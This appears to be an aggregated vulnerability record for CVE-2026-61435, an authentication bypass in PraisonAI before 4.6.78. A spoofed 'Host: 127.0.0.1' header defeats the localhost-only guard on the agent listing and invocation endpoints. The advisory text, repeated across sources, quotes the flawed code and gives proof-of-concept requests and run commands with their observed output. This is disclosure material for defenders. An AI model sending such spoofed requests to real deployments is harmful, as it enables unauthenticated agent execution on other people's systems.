CVE-2026-61435
PraisonAI before 4.6.78 Authentication Bypass via Host Header Spoofing
PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agent_invoke.py) when PRAISONAI_CALL_AUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agent_id}/invoke) registered agents without authentication.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.8
PraisonAI before 4.6.78 Authentication Bypass via Host Header Spoofing
PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agent_invoke.py) when PRAISONAI_CALL_AUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agent_id}/invoke) registered agents without authentication.
- Record
CVE-2026-61435- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-287
- Updated
- 2026-11-02
EUVDEUVD-2026-44641
8.8
PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agent_invoke.py) when PRAISONAI_CALL_AUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agent_id}/invoke) registered agents without authentication.
- Record
EUVD-2026-44641- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2gpf-2492-q9jh
8.2
PraisonAI: Call API localhost-only authentication bypass via spoofed Host header
Call API localhost-only authentication bypass via spoofed Host header
Summary
PraisonAI's patched PRAISONAI_CALL_AUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.
Technical Details
The affected code is src/praisonai/praisonai/api/agent_invoke.py. verify_token() is used as a FastAPI dependency for the /api/v1/agents routes, including POST /api/v1/agents/{agent_id}/invoke. Current code no longer unconditionally skips authentication when PRAISONAI_CALL_AUTH=disabled; it tries to allow that opt-out only for localhost binding:
_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})
def _bind_host_from_request(request: Request) -> str:
host = getattr(getattr(request, 'url', None), 'hostname', None)
return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')
async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
if _call_auth_disabled():
bind_host = _bind_host_from_request(request)
if bind_host not in _LOCALHOST_HOSTS:
raise HTTPException(
status_code=503,
detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding",
)
return
The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore send Host: 127.0.0.1 and make the disabled-auth guard believe the request is for a localhost-bound service.
The protected sink is agent execution. After verify_token() returns, invoke_agent() retrieves the registered agent and calls agent.astart(request.message) or agent.start(request.message). The same router is mounted by the PraisonAI serve feature, which imports praisonai.api.agent_invoke, includes agent_invoke.router, and registers YAML agents into the same registry.
This is not a default-configuration exposure claim. The deployment must enable PRAISONAI_CALL_AUTH=disabled and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.
PoV
the PoV builds an in-process FastAPI app with the real agent_invoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends Host: 127.0.0.1.
disabled_client = TestClient(app, base_url="http://external.example")
external_host = disabled_client.get(
"/api/v1/agents",
headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
"/api/v1/agents/pov-agent/invoke",
headers={"host": "127.0.0.1"},
json={"message": "host-header-bypass"},
)
Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects Host: external.example with 503, but accepts the spoofed localhost Host with 200 and invokes the stub agent.
The complete PoV script is in Appendix A.
PoC
Run from a PraisonAI checkout with the Appendix A script saved as pov_call_auth_host_spoof.py:
git checkout v4.6.62
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .
Observed v4.6.62 output:
{
"disabled_auth_external_host_status": 503,
"disabled_auth_spoofed_localhost_invoke_status": 200,
"disabled_auth_spoofed_localhost_list_status": 200,
"fail_closed_without_token_status": 503,
…
- Record
GHSA-2gpf-2492-q9jh- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-287, CWE-306, CWE-346
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-gp65-m7q3-4vjw
8.8
Duplicate Advisory: PraisonAI: Call API localhost-only authentication bypass via spoofed Host header
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-2gpf-2492-q9jh. This link is maintained to preserve external references.
Original Description
PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agent_invoke.py) when PRAISONAI_CALL_AUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agent_id}/invoke) registered agents without authentication.
- Record
GHSA-gp65-m7q3-4vjw- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-287
- Updated
- 2026-11-02
NVD
8.8
PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agent_invoke.py) when PRAISONAI_CALL_AUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agent_id}/invoke) registered agents without authentication.
- Record
CVE-2026-61435- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-287
- Updated
- 2026-11-02
OSV
8.8
PraisonAI before 4.6.78 Authentication Bypass via Host Header Spoofing
PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agent_invoke.py) when PRAISONAI_CALL_AUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agent_id}/invoke) registered agents without authentication.
- Record
CVE-2026-61435- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-287
- Updated
- 2026-11-02
OSVGHSA-2gpf-2492-q9jh
8.2
PraisonAI: Call API localhost-only authentication bypass via spoofed Host header
Call API localhost-only authentication bypass via spoofed Host header
Summary
PraisonAI's patched PRAISONAI_CALL_AUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.
Technical Details
The affected code is src/praisonai/praisonai/api/agent_invoke.py. verify_token() is used as a FastAPI dependency for the /api/v1/agents routes, including POST /api/v1/agents/{agent_id}/invoke. Current code no longer unconditionally skips authentication when PRAISONAI_CALL_AUTH=disabled; it tries to allow that opt-out only for localhost binding:
_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})
def _bind_host_from_request(request: Request) -> str:
host = getattr(getattr(request, 'url', None), 'hostname', None)
return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')
async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
if _call_auth_disabled():
bind_host = _bind_host_from_request(request)
if bind_host not in _LOCALHOST_HOSTS:
raise HTTPException(
status_code=503,
detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding",
)
return
The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore send Host: 127.0.0.1 and make the disabled-auth guard believe the request is for a localhost-bound service.
The protected sink is agent execution. After verify_token() returns, invoke_agent() retrieves the registered agent and calls agent.astart(request.message) or agent.start(request.message). The same router is mounted by the PraisonAI serve feature, which imports praisonai.api.agent_invoke, includes agent_invoke.router, and registers YAML agents into the same registry.
This is not a default-configuration exposure claim. The deployment must enable PRAISONAI_CALL_AUTH=disabled and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.
PoV
the PoV builds an in-process FastAPI app with the real agent_invoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends Host: 127.0.0.1.
disabled_client = TestClient(app, base_url="http://external.example")
external_host = disabled_client.get(
"/api/v1/agents",
headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
"/api/v1/agents/pov-agent/invoke",
headers={"host": "127.0.0.1"},
json={"message": "host-header-bypass"},
)
Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects Host: external.example with 503, but accepts the spoofed localhost Host with 200 and invokes the stub agent.
The complete PoV script is in Appendix A.
PoC
Run from a PraisonAI checkout with the Appendix A script saved as pov_call_auth_host_spoof.py:
git checkout v4.6.62
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .
Observed v4.6.62 output:
{
"disabled_auth_external_host_status": 503,
"disabled_auth_spoofed_localhost_invoke_status": 200,
"disabled_auth_spoofed_localhost_list_status": 200,
"fail_closed_without_token_status": 503,
…
- Record
GHSA-2gpf-2492-q9jh- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-287, CWE-306, CWE-346
- Updated
- 2026-11-02
OSVGHSA-gp65-m7q3-4vjw
8.8
Duplicate Advisory: PraisonAI: Call API localhost-only authentication bypass via spoofed Host header
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-2gpf-2492-q9jh. This link is maintained to preserve external references.
Original Description
PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agent_invoke.py) when PRAISONAI_CALL_AUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agent_id}/invoke) registered agents without authentication.
- Record
GHSA-gp65-m7q3-4vjw- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-287
- Updated
- 2026-11-02
OSVPYSEC-2026-4247
8.2
PraisonAI: Call API localhost-only authentication bypass via spoofed Host header
Call API localhost-only authentication bypass via spoofed Host header
Summary
PraisonAI's patched PRAISONAI_CALL_AUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.
Technical Details
The affected code is src/praisonai/praisonai/api/agent_invoke.py. verify_token() is used as a FastAPI dependency for the /api/v1/agents routes, including POST /api/v1/agents/{agent_id}/invoke. Current code no longer unconditionally skips authentication when PRAISONAI_CALL_AUTH=disabled; it tries to allow that opt-out only for localhost binding:
_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})
def _bind_host_from_request(request: Request) -> str:
host = getattr(getattr(request, 'url', None), 'hostname', None)
return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')
async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
if _call_auth_disabled():
bind_host = _bind_host_from_request(request)
if bind_host not in _LOCALHOST_HOSTS:
raise HTTPException(
status_code=503,
detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding",
)
return
The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore send Host: 127.0.0.1 and make the disabled-auth guard believe the request is for a localhost-bound service.
The protected sink is agent execution. After verify_token() returns, invoke_agent() retrieves the registered agent and calls agent.astart(request.message) or agent.start(request.message). The same router is mounted by the PraisonAI serve feature, which imports praisonai.api.agent_invoke, includes agent_invoke.router, and registers YAML agents into the same registry.
This is not a default-configuration exposure claim. The deployment must enable PRAISONAI_CALL_AUTH=disabled and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.
PoV
the PoV builds an in-process FastAPI app with the real agent_invoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends Host: 127.0.0.1.
disabled_client = TestClient(app, base_url="http://external.example")
external_host = disabled_client.get(
"/api/v1/agents",
headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
"/api/v1/agents/pov-agent/invoke",
headers={"host": "127.0.0.1"},
json={"message": "host-header-bypass"},
)
Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects Host: external.example with 503, but accepts the spoofed localhost Host with 200 and invokes the stub agent.
The complete PoV script is in Appendix A.
PoC
Run from a PraisonAI checkout with the Appendix A script saved as pov_call_auth_host_spoof.py:
git checkout v4.6.62
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .
Observed v4.6.62 output:
{
"disabled_auth_external_host_status": 503,
"disabled_auth_spoofed_localhost_invoke_status": 200,
"disabled_auth_spoofed_localhost_list_status": 200,
"fail_closed_without_token_status": 503,
…
- Record
PYSEC-2026-4247- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
praisonaiPyPI |
through 4.6.77 | 4.6.78 |
praisonaiPyPI |
before 4.6.78, plus listed versions 0.0.10.0.100.0.110.0.120.0.13 Show 45 moreShow less0.0.140.0.150.0.160.0.170.0.180.0.190.0.20.0.200.0.210.0.220.0.230.0.240.0.250.0.260.0.270.0.280.0.290.0.30.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.40.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.50.0.500.0.520.0.530.0.540.0.55 |
4.6.78 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-61435 is a high vulnerability (CVSS 8.8) in Mervinpraison Praisonai, published July 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.49%, the 42nd percentile. Fixed in praisonai 4.6.78.
References
github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2gpf-2492-q9jh
github.com/MervinPraison/PraisonAI/commit/2a855c470077c7d2e2479a575f7ef7f548d51c33
github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753
vulncheck.com/advisories/praisonai-before-authentication-bypass-via-host-header-spoofing
nvd.nist.gov/vuln/detail/CVE-2026-61435
nvd.nist.gov/vuln/detail/CVE-2026-62174
Left out here: 713 versions and the rest of 3 source descriptions. The JSON record has them.